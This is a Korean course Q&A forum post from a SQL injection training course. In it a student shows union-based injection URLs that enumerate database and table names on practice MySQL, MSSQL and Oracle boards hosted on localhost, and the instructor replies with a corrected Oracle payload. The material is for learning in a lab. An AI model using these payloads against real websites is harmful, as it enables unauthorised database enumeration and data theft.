inflearn logo
강의

Course

Instructor

SQL Injection Attack Techniques and Secure Coding Explained by a Simulated Hacking Practitioner: PART 1

[실습 7-4, 7-5, 7-6] MySQL, MSSQL, Oracle union based 공격 실습 강의 이후 상세보기에서 순차적 데이터 호출 실습 질문

Resolved

313

rhrhkddn227283

28 asked

1

1) 실습 7-4 MySQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 limit 절을 활용하였습니다.

[실습 쿼리문]

http://localhost/board/mysql/view.php?idx=7 and 1=2 union select null,schema_name,null,null,null,null,null from information_schema.schemata limit 2,1%23

[쿼리문 실행 결과]

1. 상세보기 page의 Title 컬럼에 login_example 을 확인 할 수 있었습니다.

2. limit 3,1을 하면 상세보기 page의 Title 컬럼에 mysql을 확인 할 수 있었습니다.

2) 실습 7-5 MSSQL에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 not in과 서브쿼리문을 이용하였습니다.

[실습쿼리문]

http://localhost/board/mssql/view.php?idx=6 and 1=2 union all select null,name,null,null,null,null,null from master.sys.databases where name not in(select top 0 name from sysdatabases)--

[쿼리문 실행 결과]

1. 상세보기 page의 Title 컬럼에 master 를 확인 할 수 있었습니다.

2. 서브쿼리의 top 0 대신 top 1으로 숫자를 올리면 tempdb라는 2번째 데이터베이스 이름을 확인 할 수 있었습니다.

3) 실습 7-6 Oracle에서 상세보기 메뉴에서 순차적으로 데이터를 호출하기 위해 rownum과 서브쿼리 기능을 이용했습니다.

[실습쿼리문]

http://localhost/board/oracle/view.php?idx=61 and 1=2 union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables)tb where tb.r=2--

[쿼리문 실행결과]

1. 상세보기 page의 Title 컬럼에 SYSTEM_PRIVILEGE_MAP 두번재 table이름이 나온 것을 확인 할 수 있습니다.

질문1)강의 종료 후 제가 제대로 과제를 수행한건지 궁금합니다. 추가적으로 더 확인해 봐야 할 것이 있을 까요?

 


질문2) MSSQL에서 order by 정렬 기능이나 row_number()함수를 이용해서 순차적으로 출력하는 쿼리문을 만들 수 있을까요?(섹션 4에서 MSSQL에서 순차정렬이 가능한 여러 방법의 내용 처럼)

--> 저는 아무리 생각해도 적절한 쿼리문이 떠오르지 않아서 질문드립니다.

웹해킹 크리핵티브 모의해킹 sqlinjection 인젝션

Answer 1

1

crehacktive

안녕하세요.

오라클 실습에서 owner에 대한 조건문 설정이 필요합니다.

union all select null,table_name,null,null,null,null,null from(select rownum r, table_name from all_tables where owner=user)tb where tb.r=2--

실습 순서를 기본 정보 획득 > 메타 데이터 획득 > 데이터 획득 순서대로 공격을 진행하셨다면 제대로 하신것이 맞습니다.

그리고 직접 테이블 하나를 만들어서 거기에 데이터를 공격을 통해 찾는 실습도 해보시면 많은 도움되실겁니다.

질문 2에 대한 부분은 정렬은 union 구문과 사용시 제대로 되지 않을 겁니다.

그러나 row_number() 함수 사용은 가능합니다.ㅎㅎ 최대한 많은 고민을 해서 구문을 만들어 보세요 ㅎ

 

 

컬럼명 기반으로 테이블 개수를 출력

2

499

1

외부 자료 학습중 질문사항-메타데이터 추출 불가한 상황

1

477

1

텍스트 인코딩 한국어

1

610

1

강의랑 관련없는 내용이지만

1

525

2

왜 취약점이 존재한다고 판단할 수 있는지 궁금합니다.

2

553

1

스프링을 배우는 게 나중에 웹 취약점 진단에 도움이 될까요?

2

618

1

Fatal error

1

697

1

코드에 있는 이상한 노란박스

1

1795

1

Parse error 마지막 부분 에러

1

450

1

microsoft machine leraning server 구성 요소 오프라인 설치

1

697

1

실무에서의 버프스위트 사용이 궁금합니다!

1

370

1

sql injection이 왜 위협적인 공격인지 궁금합니다.

2

458

1

union 공격 시 최적화 방법 (게시글 상세보기)

2

258

1

질문이 있습니다

1

201

1

한글은 비트추론할때 어떻게 해야하나요?

1

231

1

[SQL 인젝션에 대한 이해] - "검색 기능에 대한 올바른 취약점 점검 방법" 강의 내용에 대해서 질문입니다.

1

738

2

로그인 버튼

1

284

1

php+mssql 연동

1

447

1

취약점 실습 에러가 안나요

1

237

1

php 기반 로그인 기능 제작 관련해서 질문드립니다.

1

365

3

[실습2-1] 취약점 분석 실습 도중에 질문있습니다 !!

2

222

1

[실습6-1]MSSQL ERROR-BASED 공격 실습 관련 질문 내용

2

372

1

ORA-12541

1

895

7

apache monitor is already started

1

547

1